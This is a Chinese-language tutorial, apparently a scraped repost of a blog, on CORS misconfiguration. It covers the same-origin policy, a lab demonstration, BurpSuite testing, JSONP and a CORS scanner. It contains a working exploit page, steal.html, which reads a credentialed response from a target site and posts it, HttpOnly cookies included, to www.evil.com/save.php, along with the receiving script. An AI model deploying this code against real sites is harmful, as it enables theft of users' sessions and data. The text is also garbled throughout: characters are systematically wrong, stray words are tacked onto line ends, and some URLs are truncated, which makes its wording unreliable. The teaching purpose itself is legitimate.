学习CORS的漏洞和相关的一些知识梳理,网站若是存在这个漏洞就会有用户敏感数据被窃取的风险。javascript
0x00 从浏览器的同源策略提及php
SOP,同源策略 (Same Origin Policy),该策略是浏览器的一个安全基石,若是没有同源策略,那么,你打开了一个合法网站,又打开了一个恶意网站。恶意网站的脚本可以随意的操做合法网站的任何可操做资源,没有任何限制。html
(图片来自网络)前端
浏览器的同源策略规定:不一样域的客户端脚本在没有明确受权的状况下,不能读写对方的资源。那么何为同源呢,即两个站点须要知足同协议,同域名,同端口这三个条件。java
SOP是一个很好的策略,可是随着Web应用的发展,网站因为自身业务的需求,须要实现一些跨域的功能,可以让不一样域的页面之间可以相互访问各自页面的内容。python
CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序能够经过在HTTP增长字段来告诉浏览器,哪些不一样来源的服务器是有权访问本站资源的,当不一样域的请求发生时,就出现了跨域的现象。git
0x01 跨域访问的一些场景:程序员
1.好比后端开发完一部分业务代码后,提供接口给前端用,在先后端分离的模式下,先后端的域名是不一致的,此时就会发生跨域访问的问题。github
2.程序员在本地作开发,本地的文件夹并非在一个域下面,当一个文件须要发送ajax请求,请求另一个页面的内容的时候,就会跨域。ajax
3.电商网站想经过用户浏览器加载第三方快递网站的物流信息。
4.子站域名但愿调用主站域名的用户资料接口,并将数据显示出来。
0x02 CORS漏洞的攻击流程
那么CORS跨域致使用户信息泄漏是怎么发生的呢?
●1.假设用户登录一个含有CORS配置网站http://vuln.com,同时又访问了攻击者提供的一个连接http://evil.com。
●http://2.evil.com的网站向http://vuln.com这个网站发起请求获取敏感数据,浏览器可否接收信息取决于http://vuln.com的配置。
●3.若是http://vuln.com配置了Access-C...,那么容许接收,不然浏览器会由于同源策略而不接收。
0x03 CORS漏洞演示
那么斗哥经过简单的代码来演示下这个漏洞的发生过程。
3.1 演示环境及代码介绍
因为是本地演示,因此斗哥经过修改hosts文件来表示域名。 hosts:
10.10.10.1 www.vuln.com (虚拟机01)
10.10.10.156 www.evil.com (虚拟机02)
咱们知道cookie设置httponly属性后,没办法被js读取,可是在同路径下的phpinfo页面有记录这个值,咱们把phpinfo页面当成是www.vlun.com上的用户信息。 模拟用户登录www.vuln.com/login.php,接着访问www.vuln.com/secrect.php。
www.vuln.com/login.php
<?php
//假设此页面须要登陆后才能访问
setcookie("SESSIONid","THISISSESSID20180802",time()+3600,"","",0); //设置普通Cookie
setcookie("test_http","THISISSESSIDhttponly20180802",time()+3600,"","",0,1);//设置HttpOnly Cookie
?>
www.vuln.com/secrect.php,如今前两行代码是注释掉的。
<? php
//header("Access-Control-Allow-Origin:http://www.evil.com");
//header("Access-Control-Allow-Credentials:true");
phpinfo();
?>
若是先访问login.php在访问secrect.php,那么就会在phpinfo页面发现httponly的COOKIE。
接着模拟黑客给用户发送恶意页面:
www.evil.com/steal.html
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
xhr2.open("POST","http://www.evil.com/save.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("T1="+escape(datas));
}
}
xhr1.open("GET","http://www.vuln.com/secrect.php","true") //request user page.
xhr1.withCredentials = true; //request with cookie
xhr1.send();
}
loadXMLDoc();
</script>
</html>
www.evil.com/save.php
<?php
$myfile = fopen("secrect.html", "w+") or die("Unable to open file!");
$txt = $_POST['T1'];
fwrite($myfile, $txt);
fclose($myfile);
?>
因为请求是从www.evil.com发出的,经过AJAX请求www.vuln.com的资源,因此,浏览器自动为咱们加上了Origin这个字段。
经过抓包,咱们能够发现,www.vuln.com/secrect.php这个请求实际上是有返回内容的。
可是到了浏览器这边,却没有继续请求将返回的内容发送到www.evil.com/save.php,是由于浏览器拦截了该请求,提示没有CORS的头Access-Control-Allow-Origin。
3.2 去除www.vuln.com/secrect.php的注释
<? php
header("Access-Control-Allow-Origin:http://www.evil.com");
header("Access-Control-Allow-Credentials:true");
phpinfo();
?>
接着从新访问www.evil.com/steal.html
抓包发现请求www.vuln.com/secrect.php发现了对应的响应头。Access-Control-Allow-Origin指是容许访问的源,Access-Control-Allow-Credentials指的是容许带上cookie访问资源。这样浏览器就不会出错而拦截请求了,咱们的脚本把页面编码后发送到www.evil.com/save.php去。
到www.evil.com这个站,发现生成了一个secrect.html文件,发现里面有httponly的cookie,漏洞利用成功。
0x04 CORS漏洞的挖掘思路探讨
4.1 如何日常测试中检查这个漏洞?
CORS的漏洞主要看当咱们发起的请求中带有Origin头部字段时,服务器的返回包带有CORS的相关字段而且容许Origin的域访问。
通常测试WEB漏洞都会用上BurpSuite,而BurpSuite能够实现帮助咱们检测这个漏洞。
首先是自动在HTTP请求包中加上Origin的头部字段,打开BurpSuite,选择Proxy模块中的Options选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:http://foo.example.org的Enable框。
而后咱们就能够开始去访问咱们认为有漏洞的网站,访问足够多后在BurpSuite的Proxy模块下的HTTP history来筛选带有CORS头部的值。
咱们的条件能够是以下:
Access-Control-Allow-Origin: http://foo.example.org
Access-Control-Allow-Credentials: true
这里要注意的是,咱们也能够测试下带有Access-Control-Allow-Origin: * 字段的网站是否有CORS漏洞,可是若是是以下组合,则没有漏洞,由于浏览器已经会阻止以下的配置。
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
4.2 JSONP的跨域
JSONP是一种简单的服务器与客户端跨域通讯的办法,此种跨域只能发起GET请求。其基本思想是网页经过添加一个script元素,向服务器请求JSON数据,这种作法不受同源策略限制。服务器收到请求后,将数据放在一个指定名字的回调函数里传回来。
function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute("type","text/javascript");
script.src = src;
document.body.appendChild(script);
}
window.onload = function () {
addScriptTag('http://example.com/ip?callbac...');
}
function foo(data) {
console.log('Your public IP address is: ' + data.ip);
};
因此常常会去经过搜索语法inurl:?callback=来去检测一波含有跨域的网站。
4.3 CORS结合XSS漏洞进行利用
有时候CORS配置了信任自身的任意子域,那么若是一个子域存在XSS漏洞就能够经过这个漏洞去读取其余子域的资源,相似的场景还有好比HTTPS域信任HTTP域等。
4.4 关于CORS配置漏洞扫描
github上提供了一个关于扫描CORS配置漏洞的脚本,https://github.com/chenjj/COR...。
root@kali:~/Desktop/CORScanner# python cors_scan.py -h
usage: cors_scan.py [-h] [-u URL] [-i INPUT] [-t THREADS] [-o OUTPUT]
[-v [VERBOSE]] [-d [HEADERS [HEADERS ...]]]
OPTIONS:
-h, --help show this help message and exit
-u URL, --url URL URL/domain to check it's CORS policy
-i INPUT, --input INPUT
URL/domain list file to check their CORS policy
-t THREADS, --threads THREADS
Number of threads to use for CORS scan
-o OUTPUT, --output OUTPUT
Save the results to text file
-v [VERBOSE], --verbose [VERBOSE]
Enable Verbosity and display results in realtime
-d [HEADERS [HEADERS ...]], --headers [HEADERS [HEADERS ...]]
Add headers to the request.
Example: python cors_scan.py -u http://google.com
咱们将检测的域名写在一个记事本里,而后使用-i参数去进行批量扫描。
0x05 小结
做者:CanMengBlog
来源:CSDN
原文:https://blog.csdn.net/weixin_... 版权声明:本文为博主原创文章,转载请附上博文连接!